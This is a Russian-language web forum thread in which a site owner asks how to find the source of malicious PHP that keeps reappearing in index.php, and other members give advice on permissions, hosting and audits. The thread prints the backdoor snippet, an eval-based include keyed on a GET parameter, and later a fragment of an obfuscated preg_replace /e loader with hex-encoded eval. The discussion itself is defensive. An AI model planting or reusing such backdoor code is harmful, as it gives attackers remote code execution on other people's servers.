Вредоносный код

StalkerClasses

Новичок
PHP:
if(isset($_GET['kupit'])) {
header('Content-Type: text/html; charset=UTF-8');
$p=$_GET['kupit'];
echo eval/**/('?>'.join("",file("temp/temp/modification/$p")).'<?');
die;
}
Есть вот такой вредоносный код записанный вверху index.php.
Стирая его в файле index.php и обращаясь к сайту - он все равно появляется.

Как найти данный кусочек кода?
По очевидным запросам вроде
kupit
eval
temp/
temp/temp/
modification/
я не нахожу ничего подобного во всех кодах сайта.

Скорее всего написано не словом а частями "m"."o"."di"."f" и найти это не возможно.
Как найти этот вредоносный кусок кода где он есть?
 

c0dex

web.dev 2002-...
Команда форума
Партнер клуба
Начать с того, что проверить кто может писать в этот файл, то есть копать в сторону юзеров и групп. Далее думать кто настраивал сервер. Что крутится рядом и прочее.
 

c0dex

web.dev 2002-...
Команда форума
Партнер клуба
Как проверял? Что за сервер? Окружение?
 

c0dex

web.dev 2002-...
Команда форума
Партнер клуба
Или там кривой shared с дырой, как у "Толстого Густава"
 

StalkerClasses

Новичок
Соответственно есть два варианта - либо на сайте запрашивается какой-то .php файл (найти его по содержимому у меня не получилось), либо это делает человек.
 

StalkerClasses

Новичок
Щас окажется, что они все грузят по фтп
Там меняется 1 файл index.php - добавляется ранее показанный код.
А также загружается куча файлов в 1 папку условно говоря с "материалом конкурентов". Файлов очень много, по фтп если бы это загружалось то это бы загружалось и на другие сайты.
 

StalkerClasses

Новичок
Все остальные папки исходников системы и расширений у меня сравниваются по md5 и соответствуют оригинальным исходникам CMS.
 

c0dex

web.dev 2002-...
Команда форума
Партнер клуба
Долби их саппорт, так мы тут гадать сейчас будет дофига долго. Так как если это готовый хостинг, то ты там мало что решаешь в системе.
 

Yoskaldyr

"Спамер"
Партнер клуба
ну и вообще-то прав на запись для исходников не должно быть в 99.9% случаев.
 

fixxxer

К.О.
Партнер клуба
Вариант "в задницу shared", конечно, не рассматривается?

На своей виртуалке по логам сразу все поймешь. Да и настроить можно так, чтобы это исключить на 100%.
 

artoodetoo

великий и ужасный
@StalkerClasses найми кого-нибудь на аудит.
Допустим в теме даже кто-то догадается правильно какой вектор был использован злоумышленником, нет никакой гарантии что ты это предположение правильно отработаешь и заткнешь в 100% случаев. Не надо гадать, когда надо платить. :)
 

StalkerClasses

Новичок
Есть всего 1 вопрос!
Нашел это творчество:

$sef = "/.*";
$er = "/e";
preg_replace($sef.$er,"\x65\x76\x61\x6C\x28\x67\x


Здесь если расшифровать первый раз - в функцию preg_replace() передается eval()...
Не пойму - как функция preg_replace() в своих параметрах может запустить функцию eval()?.
Ссылку если интересно на полный код файла с нехорошим содержимым могу скинуть...
 
Сверху